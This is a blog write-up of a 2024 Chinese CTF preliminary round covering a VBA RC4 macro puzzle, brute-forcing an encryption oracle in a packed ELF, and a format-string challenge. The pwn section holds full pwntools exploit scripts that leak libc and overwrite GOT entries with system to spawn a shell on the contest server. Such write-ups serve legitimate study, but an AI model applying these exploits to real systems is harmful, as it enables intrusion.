观安杯2024初赛部分wp

Misc

office

查看备注获得密码

假的flag,既然是office的题肯定想到宏

1
python ./olevba.py "E:\CTF_Attachments\Guan_an_bei\Misc\office\problem.xlsm" -p I#ziTxnxvbg#GC9

发现是个rc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Function Check(user_enc)
Encrypted = "184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"

If (user_enc <> Encrypted) Then
Check = False
Else
Check = True
End If
End Function

Private Sub Worksheet_Change(ByVal Target As Range)
If Not Intersect(Target, Me.Range("B2")) Is Nothing Then
If Check(crypto(Target.Value)) Then
Me.Range("C2").Value = "success"
Me.Range("C2").Interior.Color = RGB(232, 245, 233)
Else
Me.Range("C2").Value = "fail"
Me.Range("C2").Interior.Color = RGB(251, 233, 231)
End If
End If
End Sub


Function crypto(sMessage)
Dim kLen, x, y, i, j, temp
Dim s(256)

For i = 0 To 255
s(i) = i
Next

j = 0
For i = 0 To 255
j = (j + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next

x = 0
y = 0
For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp

crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
End Function

无密码默认长度为data,全是0,格式为hex

Re

rev_shell

给了一个elf和log文件

elf有壳一直脱不了

log文件提示去终端尝试输入,key已知,enc之后输入明文就能得到密文

尝试传一些数字和字母,传入flag格式发现明文对一位密文也对一位,那就直接爆破

可惜写脚本还是慢了,比赛完十分钟才出🥲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from struct import pack
from ctypes import *
import ast
#from LibcSearcher import *

filename='./encsh'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')


def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

a=[227, 83, 162, 17, 197, 102, 127, 119, 94, 208, 82, 187, 221, 191, 112, 186, 0, 170, 191, 44, 233, 242, 209, 114, 70, 116, 203, 80, 72, 65, 254, 111, 119, 146, 95, 180, 182, 77, 140, 110, 204, 249, 76, 34, 229, 39, 30, 12, 248, 89, 158, 103, 170]

s1=''
ch="I0123456789abcdefghijklmnopqrstuvwxyz_+=\[!\]#$%^&*ABCDEFGHJKLMNOP@QRSTUVWXYZ`}{\|\"';:?/ \^,.~"
s2=''
io = process(filename)
for i in range(52):
s2=s1
for j in range(len(ch)):
sl('key')
sl('mykeymykeyhackergoawayyourkeyyou')
sl('enc')
s2+=ch[j]
sl(s2)
ru('> > ')
result=io.recvline()

result_str = result.decode()

numbers = re.findall(r'\d+', result_str)

numbers_list = [int(num) for num in numbers]

print(numbers_list)
if numbers_list[i]==a[i]:
s1+=ch[j]
print("s1=",s1)
#io.close()
break
else:
s2=s1

赛后师傅给了一个思路

上面continue之后再去导出

1
2
info proc mappings
dump memory dumped 0x7ffff7f70000 0x7ffff7fd2000

脱完壳后能拿到GoLang程序,算了直接爆破肯定最快

Pwn

reject_dollor-1

过滤了$,输入0x100,可以多个%p泄露

冒泡排序会打乱输入,\n绕过

栈上格式化字符串,泄露libc之后把puts改为system,然后传sh;

第一个是libc,偏移是0x29d90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

p = remote("isg.idss-cn.com",24232)
#p = process("./pwn")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")

def inpt(content):
p.sendlineafter("e > ","1")
p.sendlineafter("ge > ",content)

def printf():
p.sendlineafter("e > ", "2")

def puts():
p.sendlineafter("e > ", "3")

def pwn():
inpt("\n"+"%d"*42+".%p.")
printf()
p.recvuntil(".")
libc.address = int(p.recvuntil(".")[:-1],16)-0x29d90
addr1 = (libc.symbols['system'] & 0xffff) - 0x21#这里变成0x11,下面跟着变也没啥问题
addr2 = ((libc.symbols['system']>>16)&0xffff)-(libc.symbols['system']&0xffff)
print('libc:',hex(libc.address))
snd = b'\n'+b'%c'*0x20+b'%'+str(addr1).encode()+b'c%hn%'+str(addr2).encode()+b'c%hn'
snd = snd.ljust((0x22-8)*8)+p64(elf.got['puts'])
snd = snd.ljust((0x24-8)*8)+p64(elf.got['puts']+2)
inpt(snd)
printf()
inpt("sh;")
puts()
p.interactive()

pwn()

泄露puts真实地址然后格式化字符串修改,思路没问题就是不知道为啥打不通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level='debug'
elf=ELF('./pwn')
context.arch=elf.arch

#io=process('./pwn')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('isg.idss-cn.com','24232')
libc=ELF('./libc.so.6')
def choice(a):
io.sendlineafter('Enter your choice > ',str(a))

def add(a):
choice(1)
io.sendafter(' > ',a)

def gitf():
choice(2)

pay='\n'+'%c'*(15)+'%s'
pay=pay.ljust(0x40,'\x00')+p64(elf.got['puts'])
add(pay)
gitf()

libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts']
libc.address=libc_base
system_addr=libc.sym['system']

#gdb.attach(io)

arg0=(system_addr)&0xffff
arg1=(system_addr&0xffff0000)>>16
arg2=(system_addr&0xffff00000000)>>32

pay='\nsh;'+'%c'*(14)+'%'+str(arg0-18)+'c%hn%'+str((arg1-arg0+0x10000)%0x10000)+'c%hn%'+str((arg2-arg1+0x10000)%0x10000)+'c%hn'
pay=pay.ljust(0x40,'\x00')
for i in range(3):
pay+=p64(elf.got['memset']+i*2)+p64(0)

add(pay)
gitf()
# io.sendline('3')

success('libc_base:'+hex(libc_base))
io.interactive()

观安杯2024初赛部分wp
https://j1ya-22.github.io/2024/08/20/观安杯2024初赛部分wp/
作者
j1ya
发布于
2024年8月20日
许可协议